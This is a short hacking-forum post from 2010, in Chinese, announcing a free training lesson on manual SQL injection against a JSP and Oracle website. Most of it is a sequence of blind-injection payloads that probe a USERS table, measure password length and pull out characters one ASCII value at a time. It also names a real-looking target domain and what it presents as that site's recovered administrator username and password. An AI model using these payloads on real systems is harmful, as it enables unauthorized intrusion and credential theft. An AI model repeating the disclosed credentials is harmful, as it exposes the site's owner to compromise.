|
发表于 2010-12-18 19:50:23
|
显示全部楼层
|阅读模式
来自 贵州省黔东南州凯里市
饭客网络一周年免费培训之脚本渗透第十一课:手工注入jsp+Oracle
教程名称:手工注入jsp+Oracle
讲师:I.n.c゛啵、 QQ:380****7774
http://www.jwzx.com/
/* mysql
-- mssql oracle
; mssql
and (select count (type) from USERS)>0--
username password
utype 8
and (select count (*) from USERS where type=8)=1--
and (select length (password) from USERS where type=8)>5--
账号长度:9 密码长度:4
and (select ascii (substr (username,2,1)) from USERS where type=8)>97
108 l 110 n
账号: lntujwcgl 密码:lyang
http://www.hackfans.com.cn/mianfei/jiaoben/jb11.rar |
|